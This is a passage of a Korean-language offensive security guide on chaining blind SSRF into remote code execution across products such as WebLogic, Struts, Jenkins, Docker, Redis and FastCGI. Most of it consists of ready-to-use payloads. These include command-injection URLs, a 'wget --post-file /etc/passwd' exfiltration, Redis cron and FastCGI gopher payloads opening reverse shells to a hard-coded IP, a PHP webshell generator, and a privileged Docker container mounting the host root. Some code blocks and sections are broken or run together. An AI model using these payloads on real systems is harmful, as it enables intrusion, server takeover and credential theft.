`es`가 Elasticsearch를 의미한다고 가정할 수 있으며, 그런 다음 이 호스트에 대해 추가 공격을 수행할 수 있습니다. 또한 이 방법을 통해 식별된 모든 "내부" 호스트에 대해 이러한 블라인드 SSRF 페이로드를 모두 스프레이할 수도 있습니다. 이는 종종 효과적입니다.

더 많은 내부 호스트를 찾으려면 모든 DNS 데이터를 가져와 [AltDNS](https://github.com/infosec-au/altdns)와 같은 도구를 사용하여 변형을 생성한 다음 [빠른 DNS 무차별 도구](https://github.com/blechschmidt/massdns)로 해석하는 것을 추천합니다.

이 작업이 완료되면 새로 발견된 모든 내부 호스트를 식별하고 이를 블라인드 SSRF 체인의 일부로 사용하십시오.

## 사이드 채널 누출

블라인드 SSRF 취약점을 익스플로잇할 때 반환되는 응답에 대한 일부 정보를 누출할 수 있습니다. 예를 들어, XXE를 통한 블라인드 SSRF가 있다고 가정해 봅시다. 오류 메시지는 다음을 나타낼 수 있습니다:

- 응답이 반환됨

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

대비

- 호스트와 포트에 연결할 수 없음

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

마찬가지로, XXE 외에도 웹 애플리케이션은 다음과 같은 차이점을 검사하여 파악할 수 있는 사이드 채널 누출이 있을 수 있습니다:

- **응답 상태 코드**:

온라인 내부 자산:포트는 `200 OK`로 응답하는 반면 오프라인 내부 자산:포트는 `500 Internal Server Error`로 응답

- **응답 내용**:

요청하려는 URL에 도달 가능한지 여부에 따라 응답 크기(바이트)가 더 작거나 더 큼

- **응답 시간**:

요청하려는 URL에 도달 가능한지 여부에 따라 응답 시간이 더 느리거나 빠름

---------------

# 기법
**HTTP(s)를 통해 가능**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [기타 Atlassian 제품](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Gopher를 통해 가능**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**도구**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**HTTP(s)를 통해 가능**

<div id="elasticsearch"></div>

## Elasticsearch

**일반적으로 바인딩되는 포트: 9200**

Elasticsearch가 내부에 배포될 때 일반적으로 인증이 필요하지 않습니다.

부분적으로 블라인드 SSRF가 있어 상태 코드를 확인할 수 있다면, 다음 엔드포인트가 200을 반환하는지 확인하십시오:```http
/_cluster/health
/_cat/indices
/_cat/health

<div id="weblogic"></div>

## Weblogic

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 7001, 8888**

**SSRF 카나리: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

이 엔드포인트는 CRLF 주입에도 취약합니다:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

**SSRF Canary: CVE-2020-14883**

[여기](https://forum.90sec.com/t/topic/1412)에서 가져왔습니다.

리눅스:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

<div id="consul"></div>

## Hashicorp Consul

**일반적으로 바인딩되는 포트: 8500, 8501 (SSL)**

글은 [여기](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)에서 확인할 수 있습니다.

<div id="shellshock"></div>

## Shellshock

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080**

Shellshock를 효과적으로 테스트하려면 페이로드가 포함된 헤더를 추가해야 할 수 있습니다. 다음 CGI 경로를 시도해 볼 가치가 있습니다:

테스트할 CGI 경로의 짧은 목록:

[경로가 포함된 Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: User Agent를 통한 Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

종료 작업은 작업 ID 또는 데이터 소스 이름을 추측해야 합니다:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

<div id="solr"></div>

## Apache Solr

**일반적으로 바인딩된 포트: 8983**

**SSRF 카나리: Shards 매개변수**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">shubham이 말한 것에 덧붙이자면 - solr을 스캔하는 것은 비교적 쉽습니다. shards= 매개변수를 사용하면 SSRF를 통해 SSRF로 바운스하여 블라인드로 solr 인스턴스를 대상으로 하고 있는지 확인할 수 있습니다.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">2021년 1월 13일</a></blockquote>

여기에서 가져옴 [here](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

**dataImportHandler를 통한 RCE**

[dataImportHandler를 통한 RCE에 대한 연구](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**일반적으로 바인딩된 포트: 80,443 (SSL)**

이 연구에서 가져옴 [여기](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF Canary: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

<div id="struts"></div>

## Apache Struts

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080, 8443 (SSL)**

[여기](https://blog.safebuff.com/2016/07/03/SSRF-Tips/)에서 가져옴.

**SSRF 카나리아: Struts2-016**:

알고 있는 모든 내부 엔드포인트/URL 끝에 다음을 추가하세요:

``````http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

<div id="confluence"></div>

## Confluence

**일반적으로 바인딩되는 포트: 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF Canary: Sharelinks (2016년 11월 및 그 이전에 출시된 Confluence 버전)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

<div id="jira"></div>

## Jira

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

<div id="atlassian-products"></div>

## 기타 Atlassian 제품

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080,8443 (SSL)**

**SSRF 카나리: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian 보안 티켓 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

[OpenTSDB 2.4.0 원격 코드 실행](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl via RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

**RCE**

여기에 설명된 지침을 따라 GET을 통해 RCE를 달성하십시오: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

<div id="hystrix"></div>

## Hystrix 대시보드

**일반적으로 바인딩되는 포트: 80,443 (SSL),8080**

Spring Cloud Netflix, 버전 2.2.x (2.2.4 미만), 버전 2.1.x (2.1.6 미만).

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

**SSRF Canary**

이 취약점에 대한 권고는 여기에서 발표되었습니다: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)

이 PHP 코드는 SSRF Canary 호스트에 대한 페이로드를 생성합니다 (`url`을 당신의 카나리 호스트로 대체하세요):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

**임의의 도커 이미지 실행을 통한 RCE**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

**Gopher를 통해 가능**

<div id="redis"></div>

## Redis

**일반적으로 바인딩되는 포트: 6379**

추천 자료:

- [HTTP 요청을 통해 Redis 해킹 시도하기](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Redis에 대한 SSRF 공격](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**Cron을 통한 RCE** - [Gopher 공격 표면](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

**RCE via Shell Upload (PHP)** - [Redis Getshell 요약](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

**Git 프로토콜을 통한 GitLab RCE**

Liveoverflow의 훌륭한 글 [여기](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)에서 확인하세요.

이 취약점을 악용하려면 GitLab에 인증된 접근이 필요하지만, `git` 프로토콜이 해킹 대상에서 작동할 수 있으므로 여기에 페이로드를 포함합니다. 이 페이로드는 참고용입니다.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

<div id="tomcat"></div>

## Apache Tomcat

**일반적으로 사용되는 포트: 80,443 (SSL),8080,8443 (SSL)**

Tomcat 6에서만 유효함:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

이 기술을 사용한 CTF writeup:

[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**일반적으로 사용되는 포트: 80,443 (SSL)**

이것은 [여기](https://blog.chaitin.cn/gopher-attack-surfaces/)에서 가져왔습니다.```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

**도구**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Gopherus 관련 블로그 게시물](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

이 도구는 다음을 위한 Gopher 페이로드를 생성합니다:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache

<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [SSRF 사용에 관한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser*는 대부분의 일반적인 *Java RMI* 취약점에 대한 공격 작업을 지원하는 *Java RMI* 취약점 스캐너입니다. 사용 가능한 대부분의 작업은 요청된 작업에 대해 *SSRF* 페이로드를 생성하는 ``--ssrf`` 옵션을 지원합니다. ``--gopher`` 옵션과 함께 바로 사용할 수 있는 *gopher* 페이로드를 직접 생성할 수 있습니다.

<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy는 서버 측 요청 변조(SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하도록 설계된 다중 스레드 HTTP 프록시 서버입니다.

---

크레딧:

이 게시물에 기여해 주신 다음 분들께 감사드립니다:

- [@Rhynorater - 이 블로그 게시물에 많은 기여를 하셨습니다](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF canaries 개념](https://twitter.com/fransrosen)
- [@theabrahack - Jenkins Groovy를 통한 RCE](https://twitter.com/@theabrahack)
- [@qtc_de - Java RMI를 통한 RCE](https://twitter.com/qtc_de)